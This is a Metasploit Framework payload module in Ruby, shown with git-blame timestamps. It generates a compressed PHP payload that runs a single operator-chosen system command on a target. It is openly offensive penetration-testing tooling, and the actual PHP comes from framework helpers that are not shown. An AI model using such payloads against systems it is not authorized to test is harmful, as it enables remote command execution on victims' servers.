2008-09-01 04:41:18 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-09-01 04:41:18 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2015-03-09 15:44:14 -05:00
|
|
|
CachedSize = :dynamic
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2008-09-01 04:41:18 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
|
include Msf::Payload::Php
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 04:41:18 +00:00
|
|
|
def initialize(info = {})
|
2025-04-20 02:57:34 +10:00
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'PHP Execute Command ',
|
|
|
|
|
'Description' => 'Execute a single system command',
|
|
|
|
|
'Author' => [ 'egypt' ],
|
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
|
'Platform' => 'php',
|
|
|
|
|
'Arch' => ARCH_PHP
|
|
|
|
|
)
|
|
|
|
|
)
|
2008-09-01 04:41:18 +00:00
|
|
|
register_options(
|
|
|
|
|
[
|
2025-04-20 02:57:34 +10:00
|
|
|
OptString.new('CMD', [ true, 'The command string to execute' ]),
|
|
|
|
|
]
|
|
|
|
|
)
|
2008-09-01 04:41:18 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 04:41:18 +00:00
|
|
|
def php_exec_cmd
|
2025-05-09 16:09:15 -04:00
|
|
|
# please do not copy me into new code, instead use the #php_exec_cmd method after including Msf::Payload::Php or
|
|
|
|
|
# use the PHP adapter payload by selecting any php/unix/cmd/* payload
|
|
|
|
|
vars = Rex::RandomIdentifier::Generator.new(language: :php)
|
|
|
|
|
shell <<-END_OF_PHP_CODE
|
|
|
|
|
#{php_preamble(vars_generator: vars)}
|
|
|
|
|
#{php_system_block(vars_generator: vars, cmd: datastore['CMD'])}
|
2008-09-01 04:41:18 +00:00
|
|
|
END_OF_PHP_CODE
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2025-05-09 16:09:15 -04:00
|
|
|
Rex::Text.compress(shell)
|
2008-09-01 04:41:18 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2008-09-01 04:41:18 +00:00
|
|
|
#
|
|
|
|
|
# Constructs the payload
|
|
|
|
|
#
|
2022-11-04 00:33:03 +00:00
|
|
|
def generate(_opts = {})
|
2008-09-01 04:41:18 +00:00
|
|
|
return php_exec_cmd
|
|
|
|
|
end
|
2009-04-30 06:12:27 +00:00
|
|
|
end
|